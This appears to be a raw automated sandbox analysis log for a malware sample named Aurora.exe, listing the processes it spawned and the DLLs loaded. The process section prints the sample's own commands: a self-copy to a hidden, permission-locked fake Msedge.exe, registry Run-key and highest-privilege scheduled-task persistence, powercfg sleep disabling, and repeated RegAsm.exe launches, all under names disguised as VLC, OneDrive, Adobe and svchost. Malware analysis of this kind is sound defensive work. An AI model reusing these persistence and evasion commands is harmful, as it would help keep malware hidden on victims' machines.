Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe "C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dw20.exe -x -s 1480	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" && exit" && && exit "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Msedge.exe C:\Users\user\AppData\Local\Msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\conhost.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Msedge.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
